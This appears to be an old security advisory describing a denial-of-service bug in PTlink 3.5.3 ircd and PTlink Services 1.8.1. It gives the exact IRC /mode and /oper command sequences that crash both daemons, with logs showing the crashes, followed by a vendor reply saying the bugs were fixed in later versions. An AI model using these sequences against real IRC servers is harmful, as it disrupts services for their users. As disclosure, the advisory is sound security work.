COMMAND

    PTlink

SYSTEMS AFFECTED

    PTlink3.5.3ircd + PTlink.Services.1.8.1...

PROBLEM

    'egocentric coder' (wildcoyote) found  following.  It is  possible
    to kill the ircd and it's services...  To do so, you must  connect
    to the irc server...  Then, do the following:  Issue a

        /mode <your nick> +owgscfxeb

    and a

        /oper <oper nick> <something, doesnt really matter> command!

    This will cause the server to:

        /mode <your nick> +owgscfxeb

        [23:25] *** whocares sets mode: +wgsx

        /oper <oper nick> <something, doesnt really matter>

        -
        Password Incorrect
        -
        [23:25] -freddy.userfriendly- Your attempt has been logged.
        -
        [23:26] -freddy.userfriendly- *** Notice -- Connection to
        services.freddy.userfriendly[*@192.168.0.3] activated.
        -
        [23:26] -freddy.userfriendly- *** Notice -- Lost connection to
        services.freddy.userfriendly[192.168.0.3]:Broken pipe
        -

        [root@freddy wildcoyote]# ps aux | grep services
        [root@freddy wildcoyote]#

    So, this crashed service.... What about ircd?

    Connect to the irc server... Then, do the following.  Issue a

        /oper <oper nick> <something, doesnt really matter>

    and a

        /mode <your nick> +owgscfxeb

    command!

    This will cause the server to:

        [23:43] -NickServ- This nickname is registered and protected.  If it is your
        -
        [23:43] -NickServ- nick, type /NickServ IDENTIFY password.  Otherwise,
        -
        [23:43] -NickServ- please choose a different nick.
        -
        [23:43] -NickServ- If you do not change within one minute, your nick will be changed.

        /oper wildcoyote whocares
        -
        Password Incorrect
        -
        [23:43] -freddy.userfriendly- Your attempt has been logged.

        /mode mynick +owgscfxeb
        -
        [23:44] *** Disconnected

        [root@freddy wildcoyote]# ps aux | grep ircd
         [root@freddy wildcoyote]#

SOLUTION

    PTLink Coders Team gave following response:
    a) This version of ircd was discontinued more than 1 YEAR AGO!!
    b) The current version of PTLink ircd is 5.7.1
    c) The current version of PTLink Services is 2.14.3
    d) all those bugs were corrected in later versions

    So, those bugs where not  found by wildcoyote; they were  reported
    in PTLink Coders ML and in changelog of later versions.